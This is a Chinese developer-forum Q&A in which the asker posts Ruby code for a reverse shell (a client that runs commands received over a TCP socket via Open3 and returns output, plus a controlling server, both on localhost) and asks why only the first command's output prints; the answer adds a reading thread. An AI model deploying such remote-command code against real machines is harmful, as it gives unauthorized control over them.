开发者社区> 问答> 正文

向Shell - 如何使服务器打印发送到客户端的多条消息

小六码奴 2019-04-10 13:31:08 216

我的反向shell只会在第一次打印“ls”命令的输出,我怎样才能在服务器中打印多次我想要的?

require 'socket'
require 'open3'

def createClient(hostname, port)

s = TCPSocket.new hostname, port

while line = s.gets
  if line == "exit"
    s.close
  end
  stdin, stdout, stderr, wait_thr = Open3.popen3(line)
  s.puts("#{stdout.read}")
end

end

createClient("127.0.0.1", 9090)

require 'socket'

def createServer(hostname, port)

server = TCPServer.new(hostname, port)
client = server.accept

loop do

 message = gets.chomp
 if message == "exit"
   break
 end
 client.puts(message)
 while line = client.gets
   puts line
 end

end

client.close

end

createServer("127.0.0.1", 9090)
我期待服务器打印客户端处理的所有ls命令,但它只打印第一个命令。

Shell
分享到
取消 提交回答
全部回答(1)
  • 小六码奴
    2019-07-17 23:33:06

    client.gets,直到它被关闭,一直听插座。所以它挂在那里。

    你可以尝试打开踩踏板来听取插座。主循环侦听stdin并将msg发送到套接字。像这样:

    Thread.new do

     while line = client.gets 
        puts line
     end

    end

    loop do

     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)

    end

    client.close

    0 0

集结各类场景实战经验,助你开发运维畅行无忧

推荐文章
相似问题
推荐课程